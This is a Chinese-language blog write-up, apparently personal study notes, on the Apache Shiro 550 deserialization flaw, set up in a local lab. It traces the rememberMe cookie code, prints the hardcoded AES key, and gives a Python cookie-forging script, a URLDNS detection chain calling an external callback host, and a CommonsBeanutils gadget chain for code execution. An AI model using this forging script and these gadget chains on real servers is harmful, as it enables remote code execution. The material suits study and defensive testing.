目录

  1. 1. 前言
  2. 2. 环境配置
  3. 3. Shiro550
    1. 3.1. 漏洞原理
    2. 3.2. 分析
      1. 3.2.1. decrypt
      2. 3.2.2. deserialize
    3. 3.3. 加密过程
    4. 3.4. 漏洞利用
      1. 3.4.1. URLDNS链
      2. 3.4.2. CB链
      3. 3.4.3. CC11链
    5. 3.5. 漏洞探测
  4. 4. Shiro721

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Shiro Attack

2024/7/15 Web Java
  |     |   总文章阅读量:

前言

しろ(Shi ro)

走完CB链再回来看这个

参考:

https://natro92.fun/posts/4b382a45/

https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/

https://drun1baby.top/2023/03/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8702-Shiro721%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/

《Java安全漫谈》


环境配置

环境:jdk1.8 + tomcat 8.5.98 + shiro 1.2.4

这里直接用p神的项目了:https://github.com/phith0n/JavaThings/tree/master/shirodemo

下载后直接用IDEA打开,配置一下tomcat环境

image-20240715212213428

运行配置

image-20240715213701618

Tips:如果tomcat控制台日志出现乱码,请修改 tomcat 服务器文件夹下的 /conf/logging.properties,将里面的encoding全部换成GBK

Tips:只有下载了源码才能在全局搜索中搜到对应调用的方法:请在 设置-Maven-正在导入 内修改

然后等待tomcat服务完全启动之后访问 tomcat 服务器文件夹下 webapps 里对应的路由即可,这里是 Shiro_war

image-20240917205033099

image-20240715214344403

账密在 shiro.ini 里


Shiro550

Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550)

Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险

漏洞原理

勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,其值经过了序列化,AES加密,Base64加密三步,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell

image-20240917231819515


分析

逆向分析,从 Cookie 的加密过程入手,直接在 IDEA 里面全局搜索 Cookie,去找 Shiro 包里的类

最终是找到了CookieRememberMeManager这个类,观察getRememberedSerializedIdentity方法

image-20240917232353797

分析代码,先判断是否为 http 请求,是的话获取 cookie 参数

然后判断 cookie 值是否为 deleteMe

不是的话则判断是否符合base64的编码长度,然后进行base64解码并返回

image-20240917233000878

现在 ctrl+shift+alt+f7 找一下调用了getRememberedSerializedIdentity的方法

找到了 AbstractRememberMeManager#getRememberedPrincipals 方法

image-20240917233239471

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

这里先调用了 getRememberedSerializedIdentity 取出 cookie 给 bytes 数组

然后 bytes 数组里面的内容会进 convertBytesToPrincipals 方法,最后返回

现在看看convertBytesToPrincipals方法:

image-20240920160718393

沃趣,deserialize,别急

decrypt

先看前面 decrypt 解密的操作:

image-20240920160939854

先用getCipherService获取密钥服务,即AOP的实现类

接下来看cipherService.decrypt

ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;

传入两个参数,第一个是加密的 cookie ,第二个是 key

看一下这里作为 key 的getDecryptionCipherKey()方法:

private byte[] decryptionCipherKey;

public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}

是个常量,找一下是谁调用了decryptionCipherKey

image-20240920161724549

前者是 getDecryptionCipherKey ,而后者是 setDecryptionCipherKey

public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
    this.decryptionCipherKey = decryptionCipherKey;
}

一路往上跟

image-20240920161910451

image-20240920161929641

至此,得到我们在找的常量名DEFAULT_CIPHER_KEY_BYTES,跟进去看看

image-20240920162036280

是一个硬编码在源码里的固定key:kPH+bIxk5D2deZiIxcaaaA==

于是在这里,我们发现 shiro 进行 Cookie 加密的 AES 算法的密钥是一个常量


deserialize

现在回到刚才的位置看看 deserialize 方法,跟进去

image-20240920163026936

是个接口,继续跟看看谁实现了这个接口

image-20240920163229056

ctrl+alt+b 查找接口的实现类

image-20240920163746751

DefaultSerializer看看

image-20240920164154462

调用了 readObject ,是了,这就是我们的入口类


加密过程

要伪造cookie,就得先熟悉加密流程

直接下断点在AbstractRememberMeManager#onSuccessfulLogin里面,因为要开启rememberMe选项,所以直接锁定这里的isRememberMe(token),判断有没有选中 RememberMe

image-20240920165705185

然后进入rememberIdentity

image-20240920170030379

getIdentityToRemember里面一串调用会保存用户名

image-20240920170258365

接下来回到rememberIdentity,传入两个参数进入重写的rememberIdentity

image-20240920170829920

进入 convertPrincipalsToBytes 方法,和之前解密部分里面的convertBytesToPrincipals相似,不过将解密变成了加密,反序列化变成了序列化

先看 serialize

image-20240920171021995

image-20240920171133442

然后看 encrypt

image-20240920171402932

cipherService直接告诉我们是AES了,然后是getEncryptionCipherKey方法和前面解密同理,一路跟过去可以知道是那个硬编码的常量

接下来就是rememberSerializedIdentity方法

image-20240920171956644

cookie过一次base64编码,就这样


漏洞利用

首先当然是准备一个AES加密脚本,上面 cipherService 那里也展示了相关的参数,比如加密模式是CBC:

import base64
import uuid
from Crypto.Cipher import AES


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == "__main__":
    filename = r"D:\Code\Java\Test\ser.bin"
    with open(filename, 'rb') as f:
        data = f.read()
        print(aes_enc(data))

URLDNS链

URLDNS 只需要 JDK 的包,所以一般用于检测是否存在反序列化漏洞,掏出之前写的urldns

package com.example.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap ht=new HashMap();
        String url = "http://xtu23zlvbrt60860mj4zrotjpav1jv7k.oastify.com";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null,url,handler);
        ht.put(u,url);

        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);

        Serialize(ht);
    }

    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object Unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe

image-20240920175037446

image-20240920175107466


CB链

package com.example.cb;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception{

        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_name","0w0");
        Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(2);

        Utils.SetValue(beanComparator, "property", "outputProperties");
        Utils.SetValue(queue, "queue", new Object[]{obj, obj});

//        String barr = Utils.Serialize(queue);
//        System.out.println(barr);
//        Utils.UnSerialize(barr);
        Utils.Serbin(queue);
    }
}

打的过程中遇到了一点小问题,shiro 自带的 cb 版本是1.8.3,而我的 cb 版本是1.9,报错弹不出计算器

Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患

怎么办?本地降级吧(

image-20240920180306191


CC11链

还没学


漏洞探测

致敬传奇一把梭工具:https://github.com/SummerSec/ShiroAttack2

原理:https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21

当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段


Shiro721

请看我学shir0721吧(((

粗略看了一下貌似是密钥生成方式改变了,变成了动态生成,而且是CBC模式,和CBC攻击有关,等我回头复习一下密码学